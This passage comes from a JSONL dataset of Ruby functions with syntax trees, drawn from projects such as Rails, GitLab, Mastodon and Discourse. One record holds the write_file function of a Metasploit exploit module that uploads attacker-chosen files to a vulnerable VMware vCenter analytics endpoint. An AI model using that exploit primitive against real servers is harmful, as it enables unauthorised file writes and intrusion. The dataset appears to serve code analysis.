,\"children\":[\"new_subject\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"instance_eval\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_policy\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"policy_for\",{\"type\":\"lvar\",\"children\":[\"new_subject\"]}]}]},{\"type\":\"send\",\"children\":[null,\"ability_found?\",{\"type\":\"lvar\",\"children\":[\"new_policy\"]},{\"type\":\"lvar\",\"children\":[\"ability\"]}]}]}]}]}]}","id":"557cea41-eed3-4d26-91fc-95277cd66c2c"}
{"repo_name":"forem","file_path":"./repos/forem/app/lib/html_css_to_image.rb","start_line":31,"raw_source":"def self.fallback_image\n    Settings::General.main_social_image.to_s\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fallback_image\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"General\"]},\"main_social_image\"]},\"to_s\"]}]}","id":"fac8838d-ee1f-4df0-9a13-ddf49bde7f1a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/vmware_vcenter_analytics_file_upload.rb","start_line":143,"raw_source":"def write_file(path, data = nil)\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, '/analytics/telemetry/ph/api/hyper/send'),\n      'ctype' => 'application/json',\n      'vars_get' => {\n        '_c' => '',\n        '_i' => \"/#{path}\"\n      },\n      'data' => data\n    )\n\n    return false unless res&.code == 201\n\n    true\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"write_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"data\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/analytics/telemetry/ph/api/hyper/send\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"_c\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"_i\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[201]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"58432b21-ad8d-44ff-b6fc-c9ac5aa3f24b"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120809020415_remove_site_id.rb","start_line":4,"raw_source":"def up\n    drop_table \"sites\"\n    remove_index \"incoming_links\", name: \"incoming_index\"\n    add_index \"incoming_links\", %w[forum_thread_id post_number], name: \"incoming_index\"\n    remove_column \"incoming_links\", \"site_id\"\n    remove_index \"users\", name: \"index_users_on_site_id\"\n    remove_column \"users\", \"site_id\"\n\n    remove_index \"expression_types\", name: \"index_expression_types_on_site_id_and_expression_index\"\n    remove_index \"expression_types\", name: \"index_expression_types_on_site_id_and_name\"\n    remove_column \"expression_types\", \"site_id\"\n    add_index \"expression_types\", [\"expression_index\"], unique: true\n    add_index \"expression_types\", [\"name\"], unique: true\n\n    drop_table \"forums\"\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"str\",\"children\":[\"sites\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"str\",\"children\":[\"incoming_links\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"incoming_index\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"str\",\"children\":[\"incoming_links\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"forum_thread_id\"]},{\"type\":\"str\",\"children\":[\"post_number\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"incoming_index\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"str\",\"children\":[\"incoming_links\"]},{\"type\":\"str\",\"children\":[\"site_id\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"str\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_users_on_site_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"str\",\"children\":[\"users\"]},{\"type\":\"str\",\"children\":[\"site_id\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"str\",\"children\":[\"expression_types\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_expression_types_on_site_id_and_expression_index\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"str\",\"children\":[\"expression_types\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_expression_types_on_site_id_and_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"str\",\"children\":[\"expression_types\"]},{\"type\":\"str\",\"children\":[\"site_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"str\",\"children\":[\"expression_types\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"expression_index\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"str\",\"children\":[\"expression_types\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"str\",\"children\":[\"forums\"]}]}]}]}","id":"c25df86e-b3c1-4f9a-bb1c-88eaebe9b19d"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/structured_event_subscriber_test.rb","start_line":32,"raw_source":"def test_emit_event_calls_event_reporter_notify\n    event = assert_event_reported(\"test.event\", payload: { key: \"value\" }) do\n      @subscriber.emit_event(\"test.event\", { key: \"value\" })\n    end\n\n    assert_equal \"test.event\", event[:name]\n    assert_equal({ key: \"value\" }, event[:payload])\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_emit_event_calls_event_reporter_notify\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_event_reported\",{\"type\":\"str\",\"children\":[\"test.event\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"value\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subscriber\"]},\"emit_event\",{\"type\":\"str\",\"children\":[\"test.event\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"value\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"test.event\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]}]}]}]}","id":"4a976d09-13f1-4581-8e6c-c475a38dfbd7"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20220613110711_migrate_custom_filters.rb","start_line":16,"raw_source":"def down\n    # Copy back changes from custom filters guaranteed to be from the old API\n    safety_assured do\n      execute <<-SQL.squish\n        UPDATE custom_filters\n        SET phrase = custom_filter_keywords.keyword, whole_word = custom_filter_keywords.whole_word\n        FROM custom_filter_keywords\n        WHERE custom_filters.id = custom_filter_keywords.id AND custom_filters.id = custom_filter_keywords.custom_filter_id\n      SQL\n    end\n\n    # Drop every keyword as we can't safely provide a 1:1 mapping\n    safety_assured do\n      execute <<-SQL.squish\n        TRUNCATE custom_filter_keywords RESTART IDENTITY\n      SQL\n    end\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        UPDATE custom_filters\\n\"]},{\"type\":\"str\",\"children\":[\"        SET phrase = custom_filter_keywords.keyword, whole_word = custom_filter_keywords.whole_word\\n\"]},{\"type\":\"str\",\"children\":[\"        FROM custom_filter_keywords\\n\"]},{\"type\":\"str\",\"children\":[\"        WHERE custom_filters.id = custom_filter_keywords.id AND custom_filters.id = custom_filter_keywords.custom_filter_id\\n\"]}]},\"squish\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"        TRUNCATE custom_filter_keywords RESTART IDENTITY\\n\"]},\"squish\"]}]}]}]}]}","id":"37087ee7-afae-48f2-ab7d-78b761231b80"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/persistence.rb","start_line":851,"raw_source":"def strict_loaded_associations\n        @association_cache.find_all do |_, assoc|\n          assoc.owner.strict_loading? && !assoc.owner.strict_loading_n_plus_one_only?\n        end.map(&:first)\n      end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"strict_loaded_associations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@association_cache\"]},\"find_all\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"assoc\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assoc\"]},\"owner\"]},\"strict_loading?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assoc\"]},\"owner\"]},\"strict_loading_n_plus_one_only?\"]},\"!\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"first\"]}]}]}]}","id":"4d49703a-ebca-4b92-b9d9-18061130964c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth.rb","start_line":474,"raw_source":"def available_scopes_for(resource)\n        available_scopes_for_resource(resource) - unavailable_scopes_for_resource(resource)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"available_scopes_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_scopes_for_resource\",{\"type\":\"lvar\",\"children\":[\"resource\"]}]},\"-\",{\"type\":\"send\",\"children\":[null,\"unavailable_scopes_for_resource\",{\"type\":\"lvar\",\"children\":[\"resource\"]}]}]}]}","id":"3aa36d17-99ea-4fc0-813c-3a75921f2de2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/atlassian/jira_connect/jwt/asymmetric.rb","start_line":85,"raw_source":"def public_key_cdn_url_setting\n          @public_key_cdn_url_setting ||=\n            if Gitlab::CurrentSettings.jira_connect_proxy_url.present?\n              Gitlab::Utils.append_path(Gitlab::CurrentSettings.jira_connect_proxy_url, PROXY_PUBLIC_KEY_PATH)\n            end\n        end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"public_key_cdn_url_setting\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@public_key_cdn_url_setting\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"jira_connect_proxy_url\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"append_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"jira_connect_proxy_url\"]},{\"type\":\"const\",\"children\":[null,\"PROXY_PUBLIC_KEY_PATH\"]}]},null]}]}]}","id":"5ea5df35-63b2-4a4c-b22a-ed5498977dac"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/status_serializer.rb","start_line":102,"raw_source":"def quotes_count\n    relationships&.attributes_map&.dig(object.id, :quotes_count) || object.quotes_count\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"quotes_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relationships\"]},\"attributes_map\"]},\"dig\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]},{\"type\":\"sym\",\"children\":[\"quotes_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"quotes_count\"]}]}]}","id":"213b8b7c-e065-470c-817e-9adebf3a5bb4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/compatibility_test.rb","start_line":327,"raw_source":"def migrate(x)\n            add_column :testings, :published_at, :datetime, default: Time.now\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"sym\",\"children\":[\"published_at\"]},{\"type\":\"sym\",\"children\":[\"datetime\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]}]}]}","id":"34837de1-9793-4b15-b078-c359a7b6d225"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/alert_management/alert_processing.rb","start_line":49,"raw_source":"def close_issue(issue_id)\n      return unless issue_id\n\n      ::IncidentManagement::CloseIncidentWorker.perform_async(issue_id)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"close_issue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue_id\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IncidentManagement\"]},\"CloseIncidentWorker\"]},\"perform_async\",{\"type\":\"lvar\",\"children\":[\"issue_id\"]}]}]}]}","id":"324dcfb0-2e0a-4e5e-8d4d-2be56640b56a"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/multipart/parser.rb","start_line":488,"raw_source":"def update_retained_size(size)\n        @retained_size += size\n        if @retained_size > BUFFERED_UPLOAD_BYTESIZE_LIMIT\n          raise Error, \"multipart data over retained size limit\"\n        end\n      end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"update_retained_size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@retained_size\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"size\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@retained_size\"]},\">\",{\"type\":\"const\",\"children\":[null,\"BUFFERED_UPLOAD_BYTESIZE_LIMIT\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"Error\"]},{\"type\":\"str\",\"children\":[\"multipart data over retained size limit\"]}]},null]}]}]}","id":"ef64ee58-0607-4738-b687-08e2efb96647"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/create_from_task_service.rb","start_line":13,"raw_source":"def execute\n      transaction_result = ApplicationRecord.transaction do\n        create_and_link_result = CreateAndLinkService.new(\n          project: @work_item.project,\n          current_user: @current_user,\n          params: @work_item_params.slice(:title, :work_item_type_id, :work_item_type),\n          perform_spam_check: @perform_spam_check,\n          link_params: { parent_work_item: @work_item }\n        ).execute\n\n        if create_and_link_result.error?\n          @errors += create_and_link_result.errors\n          raise ActiveRecord::Rollback\n        end\n\n        replacement_result = TaskListReferenceReplacementService.new(\n          work_item: @work_item,\n          current_user: @current_user,\n          work_item_reference: create_and_link_result[:work_item].to_reference,\n          line_number_start: @work_item_params[:line_number_start],\n          line_number_end: @work_item_params[:line_number_end],\n          title: @work_item_params[:title],\n          lock_version: @work_item_params[:lock_version]\n        ).execute\n\n        if replacement_result.error?\n          @errors += replacement_result.errors\n          raise ActiveRecord::Rollback\n        end\n\n        create_and_link_result\n      end\n\n      return transaction_result if transaction_result\n\n      ::ServiceResponse.error(message: @errors, http_status: 422)\n    end","complexity_score":42.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"transaction_result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"create_and_link_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CreateAndLinkService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_item\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"ivar\",\"children\":[\"@current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_item_params\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"work_item_type_id\"]},{\"type\":\"sym\",\"children\":[\"work_item_type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"perform_spam_check\"]},{\"type\":\"ivar\",\"children\":[\"@perform_spam_check\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_work_item\"]},{\"type\":\"ivar\",\"children\":[\"@work_item\"]}]}]}]}]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_and_link_result\"]},\"error?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@errors\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_and_link_result\"]},\"errors\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Rollback\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"replacement_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TaskListReferenceReplacementService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item\"]},{\"type\":\"ivar\",\"children\":[\"@work_item\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"ivar\",\"children\":[\"@current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item_reference\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_and_link_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"work_item\"]}]},\"to_reference\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line_number_start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_item_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"line_number_start\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line_number_end\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_item_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"line_number_end\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_item_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lock_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_item_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lock_version\"]}]}]}]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"replacement_result\"]},\"error?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@errors\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"replacement_result\"]},\"errors\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Rollback\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"create_and_link_result\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transaction_result\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transaction_result\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"ivar\",\"children\":[\"@errors\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_status\"]},{\"type\":\"int\",\"children\":[422]}]}]}]}]}]}","id":"a7c5b610-795e-4085-b8d1-2e1bffdc286e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/controllers/bim/bcf/issues_controller.rb","start_line":168,"raw_source":"def render_config_unknown_priorities?\n        @importer.aggregations.unknown_priorities.present? && !params.dig(:import_options, :unknown_priorities_action).present?\n      end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"render_config_unknown_priorities?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@importer\"]},\"aggregations\"]},\"unknown_priorities\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"import_options\"]},{\"type\":\"sym\",\"children\":[\"unknown_priorities_action\"]}]},\"present?\"]},\"!\"]}]}]}","id":"311ebf62-b06c-4578-8d32-19be390927dd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/uploader_finder.rb","start_line":12,"raw_source":"def initialize(container, secret, file_path)\n    @container = container\n    @secret = secret\n    @file_path = file_path\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container\"]},{\"type\":\"arg\",\"children\":[\"secret\"]},{\"type\":\"arg\",\"children\":[\"file_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@container\",{\"type\":\"lvar\",\"children\":[\"container\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@secret\",{\"type\":\"lvar\",\"children\":[\"secret\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@file_path\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]}","id":"36134cb0-2127-4578-982c-6e2cf2dfd749"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/projects/pipelines/snippets_repository_pipeline.rb","start_line":18,"raw_source":"def load(context, data)\n          return unless data['httpUrlToRepo'].present?\n\n          oauth2_url = oauth2(data['httpUrlToRepo'])\n          validate_url(oauth2_url)\n\n          matched_snippet = find_matched_snippet(data)\n          # Skip snippets that we couldn't find a match. Probably because more snippets were\n          # added after the migration had already started, namely after the SnippetsPipeline\n          # has already run.\n          return unless matched_snippet\n\n          matched_snippet.create_repository\n          matched_snippet.repository.fetch_as_mirror(oauth2_url)\n          response = Snippets::RepositoryValidationService.new(nil, matched_snippet).execute\n\n          # skips matched_snippet repository creation if repository is invalid\n          return cleanup_snippet_repository(matched_snippet) if response.error?\n\n          Snippets::UpdateStatisticsService.new(matched_snippet).execute\n        